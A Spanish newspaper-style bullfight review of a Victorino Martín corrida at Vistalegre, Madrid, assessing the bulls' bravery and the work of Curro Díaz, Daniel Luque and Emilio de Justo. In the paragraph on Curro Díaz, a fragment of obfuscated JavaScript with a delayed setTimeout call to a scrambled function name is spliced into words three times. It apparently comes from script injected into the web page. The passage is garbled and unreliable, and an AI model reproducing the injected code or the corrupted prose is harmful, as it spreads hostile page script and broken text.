MADRID, PLAZA DE VISTALEGRE : MEJOR LOS TOREROS QUE LOS TOROS

Pronto: bravura es que el toro embista al engaño de principio a fin. Con celo o con elegancia, con agresividad o con nobleza, pero de principio a fin. Conclusión: los toros de Victorino Martín no fueron bravos. Tomaban el engaño y desistían antes de que los toreros terminaran el pase y ellos la embestida. Observaciones: el mejor fue el 4º toro, que embistíó con clase dos minutos (la serie inicial); el peor, el 5º, que se paraba antes de pasar el cuerpo del torero. Matices: todos los toros, bien presentados aunque altos de agujas, fueron injustamente aplaudidos en el arrastre, excepto el 5º, pitado con justicia.

Emilio de Justo los puso de lejos ante el caballo, lo que interesó al público y aburrió al aficionado: su incerta bravura pedía una distancia más corta.

Abrió la terna Curro Díaz. Le anoté buenas verónicas a su primero y una gran faena a su segundo, al que debujo media docena de carteles de toros. A éste lo cuajó cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando embestía y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando no, ligandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando muletazos completos a muletazos completos, siempre en consonancia  con la cada vez más corta longitud de sus embestidas. Genial. Cortó una merecida oreja.

Daniel Luque, que se topó con dos toros delucidísimos, extrajó a su primero, todavía no sé cómo ni por qué, una magnífica serie de naturales, lo mejor de la tarde. Antes y después de ese momento cenital, se impuso la nulidad de dos toros, que se negaron a embestir.

Cerró la tarde Emilio de Justo, valiente y animoso con su primero, que se movía pero no embestía y al que cortó una oreja, y voluntarioso con su segundo, que ni embestía ni se movía.

La gente, que llenó más de medio plaza, se lo pasó bién.

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